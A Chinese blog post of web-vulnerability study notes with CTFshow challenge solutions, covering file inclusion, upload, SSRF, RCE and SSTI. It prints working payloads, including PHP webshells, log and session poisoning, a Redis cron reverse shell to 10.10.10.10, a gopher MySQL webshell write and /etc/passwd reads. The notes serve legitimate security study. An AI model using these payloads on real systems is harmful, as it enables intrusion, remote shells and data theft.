漏洞利用

First Post:

Last Update:

安全无止境,继续前进吧!

告诉你一个好消息,博士:
罗德岛安全部的漏洞分析工作取得了较大进展,
这离不开安全部的大家日日夜夜的付出,
也离不开你对这项工作的大力支持。
我们决定对一些重要且较复杂的漏洞单独剔出以进行更详细的汇总,
继续努力吧,博士,我会在后方默默守护你的。
……你说你刚才看到那谁了?
–by Civilight Eterna

伪随机漏洞

有时候,我们需要一定的认证手段防范恶意攻击,比如说使用随机数;但是在同一个随机数种子下,随机数的序列是相同的;
以Python为例:

1
2
import random
p = random.getrandbits(512)

执行完毕后,p为512个bit位的随机数
如果事先初始化随机数种子:

1
2
3
import random
random.seed(0) # 这里初始化随机数种子的参数为0
p = random.getrandbits(512)

每次执行完毕后,p为512个bit位的固定数;
如果生成的是一个数组,那么每次生成的数组的序列是相同的;

文件包含漏洞

认识文件包含

编写常用函数并存入单个文件当中,后期直接调用文件便于重复使用该函数而无需再次编写;

漏洞成因

为了使代码更加灵活,开发人员通常会将被包含的文件设置成变量,用以实现动态调用,
但正是由于这种灵活性,导致客户端可以通过调用恶意文件造成包含漏洞,对服务器实施攻击;

包含种类

  1. data包含
    用于执行一句话木马,查找并获取flag;

    1
    2
    3
    4
    5
    ?file=data://text/plain,<?php system("ls")?>
    ?file=data://text/plain,<?php system("ls *.php")?> // 仅查找.php文件
    ?file=data://text/plain,<?php system("tac flag.php")?>
    ?file=data://text/plain,<?php system("tac fl*g.*")?> // 通配符 * 绕过flag,php过滤
    ?file=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4= //绕过system,<?过滤
  2. filter包含
    filter过滤器,一般用于获取目标网页的PHP源代码,但在不知道目标网页在哪时不太好用;

    1
    2
    ?file=php://filter/read=convert.base64-encode/resource=index.php
    ?file=php://filter/convert.base64-encode/resource=index.php

    有时也用于在服务器端创建php网页,或者作为转码器使用;

    1
    ?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=index.php
  3. HTTP日志包含
    按照nginx默认日志路径包含日志文件;
    配合burpsuite使用,与data包含功能相似,伟大无需多言;

    1
    2
    ?file=/var/log/nginx/access.log
    ?file=/../../../access.log // 路径穿越

    包含前,拦截http请求头,在ua信息末尾插入一句话木马(一般用来传参)后放行请求头;
    传参后,在日志包含口令后面添加系统命令,随后可以找到flag;

    1
    2
    3
    /* 假设已经上传的参数为1 */
    ?file=/var/log/nginx/access.log&1=system('ls *.php');
    ?file=/var/log/nginx/access.log&1=system('tac flag.php');
  4. SSH日志包含
    与http日志包含相似,利用恶意用户名注入一句话木马;

    1
    2
    ?file=/var/log/auth.log
    ?file=/var/log/secure

    请注意:日志文件会记录最为原始的URL请求,在浏览器地址栏中输入的地址会被URL编码,需要通过CURl或者Burp改包绕过编码

  5. session包含
    php将用户session以文件的形式保存在主机中,通过php.ini文件中的session.save_path字段可以设置具体的存储位置,通过phpinfo()也可以查询到;
    一些可能的session文件存放路径:

    1
    2
    3
    4
    ?file=/var/lib/php/sess_PHPSESSID
    ?file=/var/lib/php/sessions/sess_PHPSESSID
    ?file=/tmp/sess_PHPSESSID
    ?file=/tmp/sessions/sess_PHPSESSID

    但是对于默认配置”session.upload_progress.cleanup = on”,文件上传之后,session文件内容会立即被清空;
    对此,我们需要通过条件竞争,在服务器还未来得及删除我们上传的session文件内容时包含到该文件,实现恶意代码的命令执行;

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <!DOCTYPE html>
    <html>
    <body>
    <form action="------------URL-----------" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('ls');?>" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
    </form>
    </body>
    </html>
    <?php
    session_start();
    ?>

    利用这个脚本,随便上传一个文件(文件不能太大,不然会502报错),实际上是通过上传PHP_SESSION_UPLOAD_PROGRESS
    并访问/tmp/sess_xxx,利用burpsuite抓包后发送至Intruder实施重放攻击,不断发送访问请求,通过条件竞争实现文件包含;

    1
    2
    /?file=/tmp/sess_exp
    Cookie: PHPSESSID=exp

    在Cookie里设置参数PHPSESSID=exp,php将会在服务器上创建一个文件:/tmp/sess_exp;

  6. pear包含
    php<=7.3默认安装pecl/pear;
    访问pearphp

  7. zip包含

举些例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}

}else{
highlight_file(__FILE__);
}

考点:条件竞争

CTFshow_Web82~86 WP参考链接:https://blog.csdn.net/Myon5/article/details/140207360

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

}else{
highlight_file(__FILE__);
}

解题思路:
利用filter过滤器,将"<?php die();?>"与变量content的编码方式互换,让前者乱码无法执行,以此绕过死亡exit
由于存在urldecode()函数,需要对变量file进行一次url编码后传入;

payload1:
GET部分:?file=php://filter/write=convert.base64-decode/resource=3.php
->?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30
POST部分:content=<?php eval($_POST[1]); ?>
->content=11PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg== // 前面添加'11'是为了抵消末尾处的两个'='导致的content写入失败问题

运行后,访问url/3.php执行系统命令:
/3.php?1=system("ls");
/3.php?1=system("tac flag.php");

payload2:
与payload1同理,只是改用了rot13编码;

GET部分:?file=php://filter/write=convert.rot13-decode/resource=shell.php
->?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30
POST部分:content=<?php eval($_POST[1]);?>
->content=<?cuc riny($_CBFG[1]);?>

运行后,访问url/shell.php执行系统命令:
/shell.php?1=system("ls");
/shell.php?1=system("tac flag.php");
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

highlight_file(__FILE__);
error_reporting(0);
function filter($x){ // 自定义函数
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

解题思路:
与上题类似,但过滤了base64和rot13,使用其它编码方式;

payload:
GET部分:
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php
POST部分:
contents=?<hp pe@av(l_$EG[T]1;)>? // 将一句话木马从 UCS-2LE 编码转换为 UCS-2BE 编码

运行后,访问url/shell.php执行系统命令:
/shell.php?1=system("ls");
/shell.php?1=system("tac flag.php");

文件上传漏洞

通过在上传的文件中插入一句话木马,在缺乏防护的情况下,可以实现对服务器的命令控制;

解析漏洞

配合各种Web容器的解析漏洞,可以更好地利用上传漏洞;

IIS解析漏洞

针对IIS6.0,其在解析文件时存在以下两种漏洞:

  1. 目录解析漏洞
    *.asa或*.asp格式的文件夹下的任意文件均能被当作asp文件解析;

  2. 文件名解析漏洞
    扩展名为*.asp;1.jpg的文件会被当做asp文件解析;

  3. 畸形解析漏洞
    微软发布了IIS7.0修补了IIS6.0的解析漏洞,结果IIS7.0爆出了更严重的畸形解析漏洞:

    在IIS7.0中,在默认Fast-CGI开启状况下,在上传的文件中写入一句话木马(假设上传传入参数为shell),
    随后访问”上传路径/文件名.后缀名/shell.php”,文件当中的一句话木马将被执行。

Apache(阿帕奇)解析漏洞

Apache 1.x和Apache 2.x存在解析漏洞:

Apache依赖于安装目录下的”/conf/mime.types”文件识别文件扩展名;
Apache在解析文件时有一个原则:
如果遇到不认识的扩展名,就从后向前解析直至遍历到认识的扩展名;
如果都不认识,就会暴露目标文件的源代码;

比如我们编写一个”1.php.rar”文件:

1
2
3
<?php
phpinfo();
?>

访问”url/1.php.rar”,理应会执行下载文件的操作,但Apache却显示了phpinfo()的内容,
因为Apache不识别.rar格式文件,于是读取到了.php后缀,将文件识别为php代码文件并执行;

PHP CGI解析漏洞

Nginx作为一款高性能Web服务器,一般用作PHP的解析容器,其曾被曝出PHP CGI解析漏洞:
PHP当中有一个关键选项:”cgi.fi: x_pathinfo”
在访问”url/1.jpg.1.php”时,1.jpg会被当做php脚本解析,
这意味着黑客只要上传图片木马并访问”url/xxx.php”,就能拿到网站的WebShell;

绕过上传

客户端检测

  1. FireBug攻击
    一款支持火狐和谷歌的浏览器插件,通过删除客户端的javascript验证实现绕过上传,本质上是禁用本地javascript;
  2. 中间人攻击
    与FireBug不同,burpsuite是对传输层做手脚,通过拦截、修改HTTP请求并重放实现绕过上传;

所以说,从安全角度来看,任何客户端验证都是不安全的,这种验证方式只能用来防止用户输入错误,减小服务器的开销,
而真正的防御要靠服务端验证;

服务端检测

  1. 黑白名单验证;
  2. MIME验证;
  3. 目录验证;
  4. 截断上传攻击;

文本编辑器上传漏洞

防护策略

针对系统运行

  1. 禁用上传目录的执行功能;
  2. 使用白名单策略检查文件类型;
  3. 使用随机数改写文件名称及路径;
  4. 单独设置文件服务器的域名;

针对系统开发

  1. 同时在客户端和服务端设置严格的检查;
  2. 阻拦截断攻击;
  3. 检查http包头以及上传文件的大小;

针对系统维护

  1. 利用扫描器,及时发现并修复漏洞;
  2. 定期查看系统日志;
  3. 及时更新软件版本与补丁;

XSS漏洞

跨站脚本漏洞;
利用XSS漏洞的方式与恶意输入和中间人攻击相似,把攻击性的javascript脚本语句注入到网页中,让它在其他用户的浏览器中执行,从而实现窃取信息或进行破坏;
过滤验证很重要,但如果只设置javascript前端验证,忽略了后端验证,就会留下XSS漏洞;

存储型XSS

高发于用户输入内容并被公开展示的地方;
诸如用户评论等公开展示的信息,如果包含了恶意脚本并且未经过滤直接展示,任何访问该页面的用户都会触发恶意脚本;

反射型XSS

设置服务器端验证是非常重要的攻击防护手段,每一位web开发人员都应当具有这样的意识

利用方式

  1. 页面劫持;
  2. 网络钓鱼;
  3. 权限维持;

防护策略

  1. 过滤输入内容;
  2. 对输出内容进行html编码;
  3. 对重要的cookie设置HttpOnly, 防止客户端通过document.cookie读取cookie;

CSRF漏洞

跨站请求伪造漏洞;
黑客通过盗用身份建立会话,进行一系列非法操作,或者欺骗用户访问带有木马的url链接;
传说中的钓鱼链接就是这样来的;
一般用于窃取cookie;

1
url + /vul/csrf/csrfget/csrf_get_edit.php? + 内容

防护策略

  1. 要求用户进行二次确认;
  2. 阻止不明外域的访问;
  3. 提交请求时要求附加只有在本域才能获取的信息;
  4. 增加token(令牌)验证(token需要随机生成,值足够大,用后需销毁);
  5. 增加验证码;
    请注意:当网站同时存在XSS漏洞和CSRF漏洞时,token验证机制将会失效!

逻辑错误漏洞

当一个系统的功能太多的时候,难免会出现由开发人员思路错误或思考不全面导致的程序逻辑问题,导致了逻辑漏洞;

漏洞挖掘

发现网页功能->了解业务流程->拦截、篡改http(s)请求;

SSRF漏洞

服务端请求伪造漏洞;
如果服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制,黑客可以通过伪造服务端请求对其他服务器实施攻击,
这种漏洞一般用于攻击与外界隔离的内部服务器,其访问地址一般要求为本地回环地址(内网地址);

漏洞利用方式

  1. 探测内网信息;
  2. 窃取敏感内容;
  3. 作为跳板,攻击其他网站或应用;

filter_var()函数

使用特定的过滤器过滤一个变量;

内置常量

  1. FILTER_VALIDATE_IP: 验证是否为有效的IP地址;
  2. FILTER_FLAG_NO_PRIV_RANGE: 排除私有IP地址;
  3. FILTER_FLAG_NO_RES_RANGE: 排除保留IP地址 如回环地址’127.0.0.1’;

协议利用

Dict协议

探测端口和服务指纹

1
2
3
dict://127.0.0.1:22
dict://172.22.10.10:3306
dict://127.0.0.1:6379/info

攻击Redis,写入定时任务,进行反弹shell

centos系统定时任务的路径为:/var/spool/cron
debian系统定时任务的路径为:/var/spool/cron/crontabs

1
2
3
4
dict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
dict://127.0.0.1:6379/set:test:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.10.10.10/1234 0>&1\n\n"
dict://127.0.0.1:6379/save

注意:若payload存在被转义或过滤的情况,可利用16进制写入内容

1
dict://127.0.0.1:6379/set:test:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/10.10.10.10/1234\x200\x3e\x261\n\n"

攻击Redis,写入webshell

1
2
3
4
dict://127.0.0.1:6379/config:set:dbfilename:test.php
dict://127.0.0.1:6379/config:set:dir:/var/www/html
dict://127.0.0.1:6379/set:test:"\n\n<?php @eval($_POST[1]);?>\n\n"
dict://127.0.0.1:6379/save

若存在过滤, 则利用16进制内容写入:

1
dict://127.0.0.1:6379/set:test:"\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x78\x5d\x29\x3b\x3f\x3e\n\n"

攻击Redis,写入ssh公钥

操作和写入定时任务相似;

Gopher协议

用来打无密码MySQL或者Redis;

1
2
3
4
gopher://ip:port/_TCP IP数据流

eg:
gopher://127.0.0.1:3306/gopher

数据流构造

一般使用:

1
2
select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/cmd.php';
->gopher://127.0.0.1/_

File协议

用于读取文件内容;

1
file:///etc/passwd    // 是的你没看错,三个'/'

举些例子(以下内容均来自CTFshow)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

payload1:
url=http://127.0.0.1/flag.php

payload2:
url=http://127.255.255/flag.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

解题思路:
正则过滤不允许直接使用本地回环地址,通过使用ip地址解析为127.0.0.1的网址进行302跳转绕过;

payload(以下任选其一即可):
url=http://sudo.cc/flag.php
url=http://spoofed.burpcollaborator.net/flag.php
url=http://safe.taobao.com/flag.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

解题思路:
Host部分存在字数限制,注意绕过;

payload:
url=http://127.1/flag.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

解题思路:
更严格的字数限制,注意绕过;

payload1:
url=http://0/flag.php

payload2:
url=http://0.0/flag.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?>

解题思路:
存在filter_var()过滤,要求url中不能出现内网IP地址,必须填公网IP;
通过网络地址翻译技术(如DNS重绑定),无需搭建服务器就可以得到对应的公网IP地址;

工具地址:https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=s_pctim_aiomsg

payload:
url=http://7f000001.01010117.rbndr.us/flag.php

注:可能会出现定位失败的情况,多试几次即可,或者使用burpsuite实施重放攻击

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}

payload:
url=http://ctf.@127.0.0.1/flag.php?show
1
gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254a%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2563%256d%2564%255d%2529%253b%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2563%256d%2564%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

RCE漏洞

远程代码执行漏洞;
攻击者可以直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统;
前面的命令执行就是RCE的一部分;

常见危险函数

系统命令执行函数

  1. shell_exec():将字符串作为OS命令执行,无回显;
  2. system():将字符串作为OS命令执行,且返回命令执行结果;
  3. exec():将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显);
  4. passthru():将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;
  5. popen():打开进程文件指针;
  6. proc_open():与popen()类似;
  7. pcntl_exec():在当前进程空间执行指定程序;
  8. 反引号``:其中的字符串会被解析为OS命令,一般配合echo命令使用;

代码执行函数

  1. eval():将字符串作为php代码执行;
  2. assert():将字符串作为php代码执行;
  3. preg_replace():正则匹配替换字符串,一般用于过滤;
  4. create_function():主要创建匿名函数;
  5. call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;
  6. call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组;

RCE绕过

  1. 管道符
  2. 空格过滤
  3. 取反绕过
  4. 异或绕过
  5. 自增绕过
  6. 黑名单绕过
  7. base和hex编码绕过
  8. 正则匹配绕过
  9. 回溯绕过

RCE命令执行

  1. 无回显RCE
  2. 无参数RCE
  3. 无字母数字RCE

危害

  1. 继承Web服务器程序权限,去执行系统命令;
  2. 继承Web服务器权限,读写文件;
  3. 反弹shell;
  4. 控制整个网站甚至是服务器;

防护策略

  1. 对用户的输入作严格的过滤,如白名单策略;
  2. 尽量避免使用容易产生漏洞的危险函数;
  3. 保证用户不调用控制危险函数的传参;

SSTI漏洞

服务器端模板注入漏洞;
服务端接收攻击者的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,
模板引擎在进行目标编译渲染的过程中,执行了攻击者插入的可以破坏模板的语句,从而达到攻击的目的;

flask框架漏洞

1
2
3
// 命令执行
{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('tac flag').read() }}

XXE漏洞

XML外部实体注入漏洞;
由程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生;

漏洞特征

  1. url以.ashx为后缀;
  2. 响应体是xml;

<- To be continued _(:3 ∠)__

  く__,.ヘヽ.        /  ,ー、 〉
           \ ', !-─‐-i  /  /´
           /`ー'       L//`ヽ、
         /   /,   /|   ,   ,       ',
       イ   / /-‐/  i  L_ ハ ヽ!   i
        レ ヘ 7イ`ト   レ'ァ-ト、!ハ|   |
          !,/7 '0'     ´0iソ|    |
          |.从"    _     ,,,, / |./    |
          レ'| i>.、,,__  _,.イ /   .i   |
            レ'| | / k_7_/レ'ヽ,  ハ.  |
              | |/i 〈|/   i  ,.ヘ |  i  |
             .|/ /  i:    ヘ!    \  |
              kヽ>、ハ    _,.ヘ、    /、!
              !'〈//`T´', \ `'7'ーr'
              レ'ヽL__|___i,___,ンレ|ノ
                  ト-,/  |___./
                  'ー'    !_,.:

5piv5L2g77yf5bCP5YWU5a2Q77yM5L2g5p6c54S25pyJ5Yeg5YiG5aW555qE5b2x5a2Q77yB